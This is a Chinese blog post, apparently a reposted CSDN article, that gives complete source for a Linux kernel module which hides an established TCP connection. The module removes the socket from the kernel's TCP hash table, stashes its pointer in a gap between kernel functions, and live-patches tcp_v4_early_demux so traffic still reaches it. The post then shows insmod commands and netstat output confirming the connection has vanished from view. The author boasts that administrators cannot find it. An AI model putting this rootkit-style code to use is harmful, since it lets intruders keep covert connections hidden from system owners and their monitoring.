Linux系统中如何彻底隐藏一个TCP连接？

本是古典何须时尚 2023-07-24 02:29 7阅读 0赞

前面的文章中，我稍微描述了一下如何隐藏一个TCP连接：  
[https://blog.csdn.net/dog250/article/details/105372214][https_blog.csdn.net_dog250_article_details_105372214]

在上文中，我采用了 ***传统*** 的做法，即hook住proc的/proc/net/tcp展示接口，但这个方法并没有可观赏性，说白了有点像掩耳盗铃，毕竟连接还是在那里的，你自己去遍历系统的TCP ehash表，还是能看到所有大的TCP连接的。

所以，今天我来用 ***手艺活儿*** 的方法，庖丁解牛般演示如何彻底隐藏一个TCP连接。

> ***看看那些各种hook proc展示接口的掩耳盗铃法，多么的复杂！多么的复杂啊！看看我这个，多么的彻底！多么的简单啊！***

所谓的彻底隐藏，就是将一个TCP连接从系统的TCP ehash表中摘除！这个很容易，调用 ***inet\_unhash*** 即可了。

问题是，摘除了之后，我们把它放在哪里，才能让进来的数据包顺利匹配到该连接呢？

答案还是二进制hook。

我们搜索系统内存中含有8个字节(一个地址的大小)空隙的位置，把sock结构体的地址放进去即可。这个空隙一般在内核函数之间。比如我使用的地址：

#define ROOM_ADDR 0xffffffff815622dd

它就是ip\_rcv函数和ip4\_frag\_match之间的无用空隙。当然了，我们也可以动态分配内存，但是并不优雅。

来吧，下面是代码：

// hide_connection.c
    #include <linux/module.h>
    #include <net/tcp.h>
    #include <linux/kernel.h>
    #include <linux/kallsyms.h>
    #include <linux/cpu.h>
    /* * version 1.0 * 缺点： * 1. 仅仅可以藏一个sock，后续可以增加一个新的藏污纳垢专有hlist，同样可以见缝插针 * 2. 仅仅支持目标端口匹配，即stub_func_tcp4_demux仅仅根据目标端口过滤 * 但这一切都是为了简单！简单！简单！ */
    
    char *stub = NULL;
    
    // 用于立即数替换
    #define ROOM_MAGIC 0x1122334455667788
    #define PORT_MAGIC 0x3412
    
    // hook住tcp_v4_early_demux后执行该函数
    void stub_func_tcp4_demux(struct sk_buff *skb)
    { 
    	struct iphdr *iph;
        struct tcphdr *th;
    	struct sock *sk;
    
    	if (skb->pkt_type != PACKET_HOST)
    		return;
    
    	if (!pskb_may_pull(skb, skb_transport_offset(skb) + sizeof(struct tcphdr)))
    		return;
    
    	iph = ip_hdr(skb);
    	th = tcp_hdr(skb);
    
    	if (th->doff < sizeof(struct tcphdr) / 4)
    		return;
    
    	// PORT_MAGIC将会被目标端口所替换
    	if (ntohs(th->dest) == PORT_MAGIC) { 
    		// ROOM_MAGIC将会被存放sock结构体的内存地址所替换，一个指针即可。
    		struct sock **psk = (struct sock **)ROOM_MAGIC;
    		sk = *psk; // 取出被藏匿的sock结构体地址
    
    		atomic_inc_not_zero(&sk->sk_refcnt);
    		skb->sk = sk;
    		skb->destructor = sock_edemux;
    		if (sk->sk_state != TCP_TIME_WAIT) { 
    			struct dst_entry *dst = sk->sk_rx_dst;
    
    			if (dst)
    				dst = dst_check(dst, 0);
    			if (dst &&
    				inet_sk(sk)->rx_dst_ifindex == skb->skb_iif)
    				skb_dst_set_noref(skb, dst);
    		}
    		goto out;
    	}
    	return;
    out:
    	// 不再执行原始的tcp_v4_early_demux函数，skip掉它的堆栈。
    	asm ("pop %rbx; pop %r12; pop %rbp; pop %r11; retq;");
    }
    
    #define FTRACE_SIZE 5
    #define POKE_OFFSET 0
    #define POKE_LENGTH 5
    
    void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align,
                unsigned long start, unsigned long end, gfp_t gfp_mask,
                pgprot_t prot, int node, const void *caller);
    static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);
    static struct mutex *_text_mutex;
    
    char *hide_tcp4_seq_show = NULL;
    unsigned char jmp_call[POKE_LENGTH];
    
    #define START _AC(0xffffffffa0000000, UL)
    #define END _AC(0xffffffffff000000, UL)
    
    static int hide = 1;
    module_param(hide, int, 0444);
    
    static __be16 sport = 1234;
    module_param(sport, ushort, 0444);
    
    static __be16 dport = 1234;
    module_param(dport, ushort, 0444);
    
    static __be32 saddr = 0;
    module_param(saddr, uint, 0444);
    
    static __be32 daddr = 0;
    module_param(daddr, uint, 0444);
    
    static int ifindex = 0;
    module_param(ifindex, int, 0444);
    
    #define ROOM_ADDR 0xffffffff815622dd
    
    void restore_connection(void)
    { 
    	struct sock *sk, **psk;
    
    	psk = (struct sock **)ROOM_ADDR;
    	sk = *psk;
    
    	__inet_hash_nolisten(sk, NULL);
    }
    
    static int __init hideconn_init(void)
    { 
    	s32 offset;
    	char *_tcp4_early_demux, *stub_demux;
    	unsigned long hide_psk[1];
    	unsigned short aport[1];
    	struct sock **hide_sk, *sk = NULL;
    	unsigned long psk_addr = 0;
    	int i;
    	unsigned long *scan;
    	unsigned short *sscan;
    
    	_tcp4_early_demux = (void *)kallsyms_lookup_name("tcp_v4_early_demux");
    	if (!_tcp4_early_demux) { 
    		return -1;
    	}
    
    	___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range");
    	_text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");
    	_text_mutex = (void *)kallsyms_lookup_name("text_mutex");
    	if (!___vmalloc_node_range || !_text_poke_smp || !_text_mutex) { 
    		return -1;
    	}
    
    	if (hide == 0) {  // 恢复TCP连接，将其重新插入TCP ehash表
    		restore_connection();
    
    		offset = *(unsigned int *)&_tcp4_early_demux[1];
    		stub = (char *)(offset + (unsigned long)_tcp4_early_demux + FTRACE_SIZE);
    
    		get_online_cpus();
    		mutex_lock(_text_mutex);
    		_text_poke_smp(&_tcp4_early_demux[POKE_OFFSET], &stub[0], POKE_LENGTH);
    		mutex_unlock(_text_mutex);
    		put_online_cpus();
    
    		vfree(stub);
    		return -1;
    	}
    
    	stub_demux = (void *)___vmalloc_node_range(0x1ff, 1, START, END,
    								GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
    								-1, __builtin_return_address(0));
    
    /* // 仅仅藏匿一个socket #define SIZE 1 // 如果我们采用动态分配内存的方式，就必须想办法能找到它。 // 呃...从stub_func_tcp4_demux的指令码里搜索是一个不错的选择！ hide_sk = (struct sock **)___vmalloc_node_range(sizeof(char *)*SIZE, 1, START, END, GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC, -1, __builtin_return_address(0)); */
    	// 但为了更加trick，我还是选择藏污纳垢的方式来见缝插针！
    	hide_sk = (struct sock **)ROOM_ADDR;
    	if (!stub_demux || !hide_sk) { 
    		return -1;
    	}
    
    	// 根据参数传来的4元组来查找socket！
    	sk = inet_lookup_established(&init_net, &tcp_hashinfo,
                                saddr, htons(sport), daddr, htons(dport), ifindex);
    	if (!sk) { 
    		vfree(stub_demux);
    		return -1;
    	}
    
    	*hide_sk = sk;
    	psk_addr = (unsigned long)hide_sk;
    	hide_psk[0] = psk_addr;
    	stub = (void *)stub_func_tcp4_demux;
    
    	// 扫描stub查找并替换“隐藏sock的内存地址”
    	scan = (unsigned long *)stub;
    	for (i = 0; i < 0x1ff; i++) { 
    		scan = (unsigned long *)&stub[i];
    		if (*scan == ROOM_MAGIC)
    			break;
    	}
    	_text_poke_smp(&stub[i], hide_psk, sizeof(hide_psk));
    
    	// 扫描stub查找并替换目标端口
    	sscan = (unsigned short *)stub;
    	for (i = 0; i < 0x1ff; i++) { 
    		sscan = (unsigned short *)&stub[i];
    		if (ntohs(*sscan) == PORT_MAGIC)
    			break;
    	}
    	aport[0] = htons(dport);
    	_text_poke_smp(&stub[i], aport, sizeof(aport));
    
    	memcpy(stub_demux, stub_func_tcp4_demux, 0x1ff);
    	stub = (void *)stub_demux;
    
    	jmp_call[0] = 0xe8;
    
    	offset = (s32)((long)stub - (long)_tcp4_early_demux - FTRACE_SIZE);
    	(*(s32 *)(&jmp_call[1])) = offset;
    
    	get_online_cpus();
    	mutex_lock(_text_mutex);
    	_text_poke_smp(&_tcp4_early_demux[POKE_OFFSET], jmp_call, POKE_LENGTH);
    	mutex_unlock(_text_mutex);
    	put_online_cpus();
    
    	// 将TCP连接从ehash摘除
    	inet_unhash(sk);
    	sock_put(sk);
    
    	// 事了拂衣去，深藏身与名！
    	return -1;
    }
    
    static void __exit hideconn_exit(void)
    { 
    }
    
    module_init(hideconn_init);
    module_exit(hideconn_exit);
    MODULE_LICENSE("GPL");

好了，让我们演示一把。

首先在机器上启动一个nc，然后另外一台机器上启动另一个nc或者telnet来连接它：

[root@localhost ~]# netstat -antp|grep 2222
    tcp        0      0 192.168.56.110:2222     192.168.56.101:50618    ESTABLISHED 4154/nc

然后按照展示的四元组来加载模块：

[root@localhost ~]# insmod ./hide_connection.ko daddr=0x6e38a8c0 dport=2222 saddr=0x6538a8c0 ifindex=3 sport=50618
    insmod: ERROR: could not insert module ./hide_connection.ko: Operation not permitted
    [root@localhost ~]# netstat -antp|grep 2222
    [root@localhost ~]# echo $?
    1

看来，连接已经被隐藏掉了。然而连接还在，连接它的那台机器还可以和它通信：

root@zhaoya-VirtualBox:/home/zhaoya# telnet 192.168.56.110 2222
    Trying 192.168.56.110...
    Connected to 192.168.56.110.
    Escape character is '^]'.
    11111
    3333333
    222222222222222

在本机看来：

[root@localhost ~]# nc -l 2222
    11111
    3333333
    222222222222222

双方在不停地相互echo。

好了，玩够了，现在让我们恢复这个TCP连接：

[root@localhost ~]# insmod ./hide_connection.ko daddr=0x6e38a8c0 dport=2222 saddr=0x6538a8c0 ifindex=3 sport=50618 hide=0
    insmod: ERROR: could not insert module ./hide_connection.ko: Operation not permitted
    [root@localhost ~]# netstat -antp|grep 2222
    tcp        0      0 192.168.56.110:2222     192.168.56.101:50618    ESTABLISHED 4154/nc
    [root@localhost ~]# echo $?
    0

我起初想的是，靠动态内存分配，在系统中营造一个TCP连接的小王国，或者说进程的小王国，把隐藏掉的TCP连接或者进程均放在这些小王国里，只有我自己知道它们在哪里：

*  它们在内核函数的间隙。
 *  它们在任意位置。
 *  它们的地址被分为4个部分，每个部分2字节，这样只需4个不连续的2字节间隙即可。
 *  它们甚至可以一个字节一个字节拼起来形成一个地址。
 *  …

以这种方式隐藏掉的TCP连接，是比较彻底的隐藏方式，经理基本是无法查出来的。

如果你说CFI，好吧，一般的经理不懂CFI的，不过无论怎样，经理的皮鞋都是真皮的。

--------------------

浙江温州皮鞋湿，下雨进水不会胖

[https_blog.csdn.net_dog250_article_details_105372214]: https://blog.csdn.net/dog250/article/details/105372214